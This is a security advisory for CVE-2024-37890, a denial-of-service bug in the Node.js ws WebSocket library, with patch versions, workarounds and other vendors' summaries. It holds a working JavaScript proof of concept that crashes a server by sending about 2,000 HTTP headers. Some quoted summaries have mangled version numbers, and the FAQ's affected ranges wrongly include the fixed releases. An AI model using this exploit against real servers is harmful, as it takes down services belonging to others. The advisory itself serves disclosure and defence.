CVE-2024-37890: Denial of service when handling a request with many HTTP headers in ws
Impact
A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.
Proof of concept
js const http = require('http'); const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'+-.0123456789abcdefghijklmnopqrstuvwxyz^|~".split(''); const headers = {}; let count = 0;
for (let i = 0; i < chars.length; i++) { if (count === 2000) break;
for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x';
if (++count === 2000) break; } }
headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';
const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });
request.end(); });
Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
- https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231
[--max-http-header-size=size]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [maxHeaderSize]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [server.maxHeadersCount]: https://nodejs.org/api/http.html#servermaxheaderscount
Other sources
Denial of service when handling a request with many HTTP headers in ws
— Microsoft
Node.js ws module is vulnerable to a denial of service, caused by a NULL pointer dereference. By sending a specially crafted request with multiple HTTP headers, a remote attacker could exploit this vulnerability to cause the server to crash.
— IBM
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws.1 (e55e510) and backported to ws.10 (22c2876), ws.3 (eeb76d3), and ws.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63 https://github.com/websockets/ws/issues/2230 https://github.com/websockets/ws/pull/2231 https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q https://nodejs.org/api/http.html#servermaxheaderscount
— Red Hat
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
— NVD
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2024-37890?
CVE-2024-37890 has a high severity rating due to its potential to crash WebSocket servers.
How do I fix CVE-2024-37890?
To fix CVE-2024-37890, upgrade to ws version 8.17.1, 7.5.10, 6.2.3, or 5.2.4.
Which versions are affected by CVE-2024-37890?
CVE-2024-37890 affects ws versions from 8.0.0 to 8.17.1, 7.0.0 to 7.5.10, 6.0.0 to 6.2.3, and 2.1.0 to 5.2.4.
Can CVE-2024-37890 be exploited remotely?
Yes, CVE-2024-37890 can be exploited remotely by sending a specially crafted request to a vulnerable WebSocket server.
What systems are impacted by CVE-2024-37890?
CVE-2024-37890 impacts systems running the ws package in versions prior to the specified fixes.